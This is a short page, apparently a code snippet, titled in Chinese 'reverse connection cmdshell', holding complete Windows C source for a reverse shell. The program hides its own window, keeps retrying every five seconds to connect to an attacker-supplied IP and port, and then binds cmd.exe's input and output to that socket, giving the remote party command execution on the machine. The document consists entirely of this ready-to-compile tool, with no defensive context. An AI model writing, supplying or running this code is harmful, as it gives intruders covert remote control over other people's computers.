反向连接cmdshell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

#include <WINSOCK2.h>
#pragma comment(lib,"WS2_32")
 
int main(int argc, char *argv[])
{
 
    WSADATA wsaData;
    SOCKET  hSocket;
    sockaddr_in addr_sin;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
     
    ShowWindow(FindWindow(NULL, argv[0]), SW_HIDE); //窗口设置为隐藏
     
    WSAStartup(MAKEWORD(2, 0), &wsaData);
    memset(&addr_sin, 0, sizeof(addr_sin));
    addr_sin.sin_family = AF_INET;
    addr_sin.sin_port   = htons(atoi(argv[2])); //端口
    addr_sin.sin_addr.s_addr = inet_addr(argv[1]); //IP
 
    hSocket = WSASocket(AF_INET, SOCK_STREAM, NULL, NULL, NULL, NULL);
    while(connect(hSocket, (struct sockaddr*)&addr_sin, sizeof(addr_sin)) == SOCKET_ERROR)
    {
        Sleep(5000);
        continue;
    }
     
    memset(&si, 0, sizeof(si));
    si.cb =sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;  //重定向
    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi);
    return 0;
}